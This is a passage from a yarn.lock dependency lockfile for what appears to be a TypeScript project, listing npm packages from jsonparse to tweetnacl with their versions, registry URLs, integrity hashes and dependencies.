"1.3.1" 939 | resolved "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz" 940 | integrity sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA= 941 | 942 | lazy-ass@1.6.0: 943 | version "1.6.0" 944 | resolved "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz" 945 | integrity sha1-eZllXoZGwX8In90YfRUNMyTVRRM= 946 | 947 | locate-path@^6.0.0: 948 | version "6.0.0" 949 | resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz" 950 | integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== 951 | dependencies: 952 | p-locate "^5.0.0" 953 | 954 | lodash@^4.17.20, lodash@^4.17.21: 955 | version "4.17.21" 956 | resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz" 957 | integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== 958 | 959 | log-symbols@4.1.0: 960 | version "4.1.0" 961 | resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz" 962 | integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg== 963 | dependencies: 964 | chalk "^4.1.0" 965 | is-unicode-supported "^0.1.0" 966 | 967 | loupe@^2.3.1: 968 | version "2.3.4" 969 | resolved "https://registry.npmjs.org/loupe/-/loupe-2.3.4.tgz" 970 | integrity sha512-OvKfgCC2Ndby6aSTREl5aCCPTNIzlDfQZvZxNUrBrihDhL3xcrYegTblhmEiCrg2kKQz4XsFIaemE5BF4ybSaQ== 971 | dependencies: 972 | get-func-name "^2.0.0" 973 | 974 | lower-case@^2.0.2: 975 | version "2.0.2" 976 | resolved "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz" 977 | integrity sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg== 978 | dependencies: 979 | tslib "^2.0.3" 980 | 981 | make-error@^1.1.1: 982 | version "1.3.6" 983 | resolved "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz" 984 | integrity sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw== 985 | 986 | map-stream@~0.1.0: 987 | version "0.1.0" 988 | resolved "https://registry.npmjs.org/map-stream/-/map-stream-0.1.0.tgz" 989 | integrity sha1-5WqpTEyAVaFkBKBnS3jyFffI4ZQ= 990 | 991 | merge-stream@^2.0.0: 992 | version "2.0.0" 993 | resolved "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz" 994 | integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== 995 | 996 | mimic-fn@^2.1.0: 997 | version "2.1.0" 998 | resolved "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz" 999 | integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg== 1000 | 1001 | minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: 1002 | version "1.0.1" 1003 | resolved "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz" 1004 | integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== 1005 | 1006 | minimalistic-crypto-utils@^1.0.1: 1007 | version "1.0.1" 1008 | resolved "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz" 1009 | integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo= 1010 | 1011 | minimatch@3.0.4: 1012 | version "3.0.4" 1013 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz" 1014 | integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA== 1015 | dependencies: 1016 | brace-expansion "^1.1.7" 1017 | 1018 | minimatch@^3.0.4: 1019 | version "3.1.2" 1020 | resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz" 1021 | integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw== 1022 | dependencies: 1023 | brace-expansion "^1.1.7" 1024 | 1025 | minimist@^1.2.0, minimist@^1.2.5: 1026 | version "1.2.5" 1027 | resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz" 1028 | integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw== 1029 | 1030 | mkdirp@1.0.4: 1031 | version "1.0.4" 1032 | resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz" 1033 | integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw== 1034 | 1035 | mkdirp@^0.5.1: 1036 | version "0.5.5" 1037 | resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz" 1038 | integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ== 1039 | dependencies: 1040 | minimist "^1.2.5" 1041 | 1042 | mocha@^9.0.3: 1043 | version "9.2.1" 1044 | resolved "https://registry.npmjs.org/mocha/-/mocha-9.2.1.tgz" 1045 | integrity sha512-T7uscqjJVS46Pq1XDXyo9Uvey9gd3huT/DD9cYBb4K2Xc/vbKRPUWK067bxDQRK0yIz6Jxk73IrnimvASzBNAQ== 1046 | dependencies: 1047 | "@ungap/promise-all-settled" "1.1.2" 1048 | ansi-colors "4.1.1" 1049 | browser-stdout "1.3.1" 1050 | chokidar "3.5.3" 1051 | debug "4.3.3" 1052 | diff "5.0.0" 1053 | escape-string-regexp "4.0.0" 1054 | find-up "5.0.0" 1055 | glob "7.2.0" 1056 | growl "1.10.5" 1057 | he "1.2.0" 1058 | js-yaml "4.1.0" 1059 | log-symbols "4.1.0" 1060 | minimatch "3.0.4" 1061 | ms "2.1.3" 1062 | nanoid "3.2.0" 1063 | serialize-javascript "6.0.0" 1064 | strip-json-comments "3.1.1" 1065 | supports-color "8.1.1" 1066 | which "2.0.2" 1067 | workerpool "6.2.0" 1068 | yargs "16.2.0" 1069 | yargs-parser "20.2.4" 1070 | yargs-unparser "2.0.0" 1071 | 1072 | ms@2.1.2: 1073 | version "2.1.2" 1074 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz" 1075 | integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== 1076 | 1077 | ms@2.1.3: 1078 | version "2.1.3" 1079 | resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz" 1080 | integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== 1081 | 1082 | nanoid@3.2.0: 1083 | version "3.2.0" 1084 | resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.2.0.tgz" 1085 | integrity sha512-fmsZYa9lpn69Ad5eDn7FMcnnSR+8R34W9qJEijxYhTbfOWzr22n1QxCMzXLK+ODyW2973V3Fux959iQoUxzUIA== 1086 | 1087 | no-case@^3.0.4: 1088 | version "3.0.4" 1089 | resolved "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz" 1090 | integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg== 1091 | dependencies: 1092 | lower-case "^2.0.2" 1093 | tslib "^2.0.3" 1094 | 1095 | node-addon-api@^2.0.0: 1096 | version "2.0.2" 1097 | resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz" 1098 | integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA== 1099 | 1100 | node-fetch@2.6.7: 1101 | version "2.6.7" 1102 | resolved "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz" 1103 | integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ== 1104 | dependencies: 1105 | whatwg-url "^5.0.0" 1106 | 1107 | node-gyp-build@^4.2.0, node-gyp-build@^4.3.0: 1108 | version "4.3.0" 1109 | resolved "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-4.3.0.tgz" 1110 | integrity sha512-iWjXZvmboq0ja1pUGULQBexmxq8CV4xBhX7VDOTbL7ZR4FOowwY/VOtRxBN/yKxmdGoIp4j5ysNT4u3S2pDQ3Q== 1111 | 1112 | normalize-path@^3.0.0, normalize-path@~3.0.0: 1113 | version "3.0.0" 1114 | resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz" 1115 | integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== 1116 | 1117 | npm-run-path@^4.0.1: 1118 | version "4.0.1" 1119 | resolved "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz" 1120 | integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw== 1121 | dependencies: 1122 | path-key "^3.0.0" 1123 | 1124 | once@^1.3.0: 1125 | version "1.4.0" 1126 | resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz" 1127 | integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E= 1128 | dependencies: 1129 | wrappy "1" 1130 | 1131 | onetime@^5.1.2: 1132 | version "5.1.2" 1133 | resolved "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz" 1134 | integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg== 1135 | dependencies: 1136 | mimic-fn "^2.1.0" 1137 | 1138 | p-limit@^3.0.2: 1139 | version "3.1.0" 1140 | resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz" 1141 | integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== 1142 | dependencies: 1143 | yocto-queue "^0.1.0" 1144 | 1145 | p-locate@^5.0.0: 1146 | version "5.0.0" 1147 | resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz" 1148 | integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== 1149 | dependencies: 1150 | p-limit "^3.0.2" 1151 | 1152 | pako@^2.0.3: 1153 | version "2.0.4" 1154 | resolved "https://registry.npmjs.org/pako/-/pako-2.0.4.tgz" 1155 | integrity sha512-v8tweI900AUkZN6heMU/4Uy4cXRc2AYNRggVmTR+dEncawDJgCdLMximOVA2p4qO57WMynangsfGRb5WD6L1Bg== 1156 | 1157 | path-exists@^4.0.0: 1158 | version "4.0.0" 1159 | resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz" 1160 | integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== 1161 | 1162 | path-is-absolute@^1.0.0: 1163 | version "1.0.1" 1164 | resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz" 1165 | integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18= 1166 | 1167 | path-key@^3.0.0, path-key@^3.1.0: 1168 | version "3.1.1" 1169 | resolved "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz" 1170 | integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q== 1171 | 1172 | pathval@^1.1.1: 1173 | version "1.1.1" 1174 | resolved "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz" 1175 | integrity sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ== 1176 | 1177 | pause-stream@0.0.11: 1178 | version "0.0.11" 1179 | resolved "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz" 1180 | integrity sha1-/lo0sMvOErWqaitAPuLnO2AvFEU= 1181 | dependencies: 1182 | through "~2.3" 1183 | 1184 | picomatch@^2.0.4, picomatch@^2.2.1: 1185 | version "2.3.1" 1186 | resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz" 1187 | integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== 1188 | 1189 | ps-tree@1.2.0: 1190 | version "1.2.0" 1191 | resolved "https://registry.npmjs.org/ps-tree/-/ps-tree-1.2.0.tgz" 1192 | integrity sha512-0VnamPPYHl4uaU/nSFeZZpR21QAWRz+sRv4iW9+v/GS/J5U5iZB5BNN6J0RMoOvdx2gWM2+ZFMIm58q24e4UYA== 1193 | dependencies: 1194 | event-stream "=3.3.4" 1195 | 1196 | randombytes@^2.1.0: 1197 | version "2.1.0" 1198 | resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz" 1199 | integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== 1200 | dependencies: 1201 | safe-buffer "^5.1.0" 1202 | 1203 | readdirp@~3.6.0: 1204 | version "3.6.0" 1205 | resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz" 1206 | integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA== 1207 | dependencies: 1208 | picomatch "^2.2.1" 1209 | 1210 | regenerator-runtime@^0.13.4: 1211 | version "0.13.9" 1212 | resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz" 1213 | integrity sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA== 1214 | 1215 | remedial@^1.0.7: 1216 | version "1.0.8" 1217 | resolved "https://registry.npmjs.org/remedial/-/remedial-1.0.8.tgz" 1218 | integrity sha512-/62tYiOe6DzS5BqVsNpH/nkGlX45C/Sp6V+NtiN6JQNS1Viay7cWkazmRkrQrdFj2eshDe96SIQNIoMxqhzBOg== 1219 | 1220 | remove-trailing-spaces@^1.0.6: 1221 | version "1.0.8" 1222 | resolved "https://registry.npmjs.org/remove-trailing-spaces/-/remove-trailing-spaces-1.0.8.tgz" 1223 | integrity sha512-O3vsMYfWighyFbTd8hk8VaSj9UAGENxAtX+//ugIst2RMk5e03h6RoIS+0ylsFxY1gvmPuAY/PO4It+gPEeySA== 1224 | 1225 | require-directory@^2.1.1: 1226 | version "2.1.1" 1227 | resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz" 1228 | integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I= 1229 | 1230 | rpc-websockets@^7.4.2: 1231 | version "7.4.17" 1232 | resolved "https://registry.npmjs.org/rpc-websockets/-/rpc-websockets-7.4.17.tgz" 1233 | integrity sha512-eolVi/qlXS13viIUH9aqrde902wzSLAai0IjmOZSRefp5I3CSG/vCnD0c0fDSYCWuEyUoRL1BHQA8K1baEUyow== 1234 | dependencies: 1235 | "@babel/runtime" "^7.11.2" 1236 | circular-json "^0.5.9" 1237 | eventemitter3 "^4.0.7" 1238 | uuid "^8.3.0" 1239 | ws "^7.4.5" 1240 | optionalDependencies: 1241 | bufferutil "^4.0.1" 1242 | utf-8-validate "^5.0.2" 1243 | 1244 | rxjs@^7.1.0: 1245 | version "7.5.4" 1246 | resolved "https://registry.npmjs.org/rxjs/-/rxjs-7.5.4.tgz" 1247 | integrity sha512-h5M3Hk78r6wAheJF0a5YahB1yRQKCsZ4MsGdZ5O9ETbVtjPcScGfrMmoOq7EBsCRzd4BDkvDJ7ogP8Sz5tTFiQ== 1248 | dependencies: 1249 | tslib "^2.1.0" 1250 | 1251 | safe-buffer@^5.0.1, safe-buffer@^5.1.0: 1252 | version "5.2.1" 1253 | resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz" 1254 | integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== 1255 | 1256 | secp256k1@^4.0.2: 1257 | version "4.0.3" 1258 | resolved "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.3.tgz" 1259 | integrity sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA== 1260 | dependencies: 1261 | elliptic "^6.5.4" 1262 | node-addon-api "^2.0.0" 1263 | node-gyp-build "^4.2.0" 1264 | 1265 | serialize-javascript@6.0.0: 1266 | version "6.0.0" 1267 | resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz" 1268 | integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag== 1269 | dependencies: 1270 | randombytes "^2.1.0" 1271 | 1272 | shebang-command@^2.0.0: 1273 | version "2.0.0" 1274 | resolved "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz" 1275 | integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA== 1276 | dependencies: 1277 | shebang-regex "^3.0.0" 1278 | 1279 | shebang-regex@^3.0.0: 1280 | version "3.0.0" 1281 | resolved "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz" 1282 | integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A== 1283 | 1284 | signal-exit@^3.0.3: 1285 | version "3.0.7" 1286 | resolved "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz" 1287 | integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ== 1288 | 1289 | snake-case@^3.0.4: 1290 | version "3.0.4" 1291 | resolved "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz" 1292 | integrity sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg== 1293 | dependencies: 1294 | dot-case "^3.0.4" 1295 | tslib "^2.0.3" 1296 | 1297 | source-map-support@^0.5.6: 1298 | version "0.5.21" 1299 | resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz" 1300 | integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w== 1301 | dependencies: 1302 | buffer-from "^1.0.0" 1303 | source-map "^0.6.0" 1304 | 1305 | source-map@^0.6.0: 1306 | version "0.6.1" 1307 | resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz" 1308 | integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== 1309 | 1310 | split@0.3: 1311 | version "0.3.3" 1312 | resolved "https://registry.npmjs.org/split/-/split-0.3.3.tgz" 1313 | integrity sha1-zQ7qXmOiEd//frDwkcQTPi0N0o8= 1314 | dependencies: 1315 | through "2" 1316 | 1317 | start-server-and-test@^1.14.0: 1318 | version "1.14.0" 1319 | resolved "https://registry.npmjs.org/start-server-and-test/-/start-server-and-test-1.14.0.tgz" 1320 | integrity sha512-on5ELuxO2K0t8EmNj9MtVlFqwBMxfWOhu4U7uZD1xccVpFlOQKR93CSe0u98iQzfNxRyaNTb/CdadbNllplTsw== 1321 | dependencies: 1322 | bluebird "3.7.2" 1323 | check-more-types "2.24.0" 1324 | debug "4.3.2" 1325 | execa "5.1.1" 1326 | lazy-ass "1.6.0" 1327 | ps-tree "1.2.0" 1328 | wait-on "6.0.0" 1329 | 1330 | stream-combiner@~0.0.4: 1331 | version "0.0.4" 1332 | resolved "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.0.4.tgz" 1333 | integrity sha1-TV5DPBhSYd3mI8o/RMWGvPXErRQ= 1334 | dependencies: 1335 | duplexer "~0.1.1" 1336 | 1337 | string-width@^4.1.0, string-width@^4.2.0: 1338 | version "4.2.3" 1339 | resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz" 1340 | integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== 1341 | dependencies: 1342 | emoji-regex "^8.0.0" 1343 | is-fullwidth-code-point "^3.0.0" 1344 | strip-ansi "^6.0.1" 1345 | 1346 | strip-ansi@^6.0.0, strip-ansi@^6.0.1: 1347 | version "6.0.1" 1348 | resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz" 1349 | integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== 1350 | dependencies: 1351 | ansi-regex "^5.0.1" 1352 | 1353 | strip-bom@^3.0.0: 1354 | version "3.0.0" 1355 | resolved "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz" 1356 | integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM= 1357 | 1358 | strip-final-newline@^2.0.0: 1359 | version "2.0.0" 1360 | resolved "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz" 1361 | integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA== 1362 | 1363 | strip-json-comments@3.1.1: 1364 | version "3.1.1" 1365 | resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz" 1366 | integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== 1367 | 1368 | superstruct@^0.14.2: 1369 | version "0.14.2" 1370 | resolved "https://registry.npmjs.org/superstruct/-/superstruct-0.14.2.tgz" 1371 | integrity sha512-nPewA6m9mR3d6k7WkZ8N8zpTWfenFH3q9pA2PkuiZxINr9DKB2+40wEQf0ixn8VaGuJ78AB6iWOtStI+/4FKZQ== 1372 | 1373 | supports-color@8.1.1: 1374 | version "8.1.1" 1375 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz" 1376 | integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== 1377 | dependencies: 1378 | has-flag "^4.0.0" 1379 | 1380 | supports-color@^7.1.0: 1381 | version "7.2.0" 1382 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz" 1383 | integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== 1384 | dependencies: 1385 | has-flag "^4.0.0" 1386 | 1387 | text-encoding-utf-8@^1.0.2: 1388 | version "1.0.2" 1389 | resolved "https://registry.npmjs.org/text-encoding-utf-8/-/text-encoding-utf-8-1.0.2.tgz" 1390 | integrity sha512-8bw4MY9WjdsD2aMtO0OzOCY3pXGYNx2d2FfHRVUKkiCPDWjKuOlhLVASS+pD7VkLTVjW268LYJHwsnPFlBpbAg== 1391 | 1392 | through@2, "through@>=2.2.7 <3", through@~2.3, through@~2.3.1: 1393 | version "2.3.8" 1394 | resolved "https://registry.npmjs.org/through/-/through-2.3.8.tgz" 1395 | integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU= 1396 | 1397 | to-regex-range@^5.0.1: 1398 | version "5.0.1" 1399 | resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz" 1400 | integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== 1401 | dependencies: 1402 | is-number "^7.0.0" 1403 | 1404 | toml@^3.0.0: 1405 | version "3.0.0" 1406 | resolved "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz" 1407 | integrity sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w== 1408 | 1409 | tr46@~0.0.3: 1410 | version "0.0.3" 1411 | resolved "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz" 1412 | integrity sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o= 1413 | 1414 | traverse-chain@~0.1.0: 1415 | version "0.1.0" 1416 | resolved "https://registry.npmjs.org/traverse-chain/-/traverse-chain-0.1.0.tgz" 1417 | integrity sha1-YdvC1Ttp/2CRoSoWj9fUMxB+QPE= 1418 | 1419 | ts-mocha@^9.0.2: 1420 | version "9.0.2" 1421 | resolved "https://registry.npmjs.org/ts-mocha/-/ts-mocha-9.0.2.tgz" 1422 | integrity sha512-WyQjvnzwrrubl0JT7EC1yWmNpcsU3fOuBFfdps30zbmFBgKniSaSOyZMZx+Wq7kytUs5CY+pEbSYEbGfIKnXTw== 1423 | dependencies: 1424 | ts-node "7.0.1" 1425 | optionalDependencies: 1426 | tsconfig-paths "^3.5.0" 1427 | 1428 | ts-node@7.0.1: 1429 | version "7.0.1" 1430 | resolved "https://registry.npmjs.org/ts-node/-/ts-node-7.0.1.tgz" 1431 | integrity sha512-BVwVbPJRspzNh2yfslyT1PSbl5uIk03EZlb493RKHN4qej/D06n1cEhjlOJG69oFsE7OT8XjpTUcYf6pKTLMhw== 1432 | dependencies: 1433 | arrify "^1.0.0" 1434 | buffer-from "^1.1.0" 1435 | diff "^3.1.0" 1436 | make-error "^1.1.1" 1437 | minimist "^1.2.0" 1438 | mkdirp "^0.5.1" 1439 | source-map-support "^0.5.6" 1440 | yn "^2.0.0" 1441 | 1442 | tsconfig-paths@^3.5.0: 1443 | version "3.12.0" 1444 | resolved "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.12.0.tgz" 1445 | integrity sha512-e5adrnOYT6zqVnWqZu7i/BQ3BnhzvGbjEjejFXO20lKIKpwTaupkCPgEfv4GZK1IBciJUEhYs3J3p75FdaTFVg== 1446 | dependencies: 1447 | "@types/json5" "^0.0.29" 1448 | json5 "^1.0.1" 1449 | minimist "^1.2.0" 1450 | strip-bom "^3.0.0" 1451 | 1452 | tslib@^2.0.3, tslib@^2.1.0: 1453 | version "2.3.1" 1454 | resolved "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz" 1455 | integrity sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw== 1456 | 1457 | tweetnacl@^1.0.0: 1458 | version "1.0.3" 1459 | resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz" 1460 | 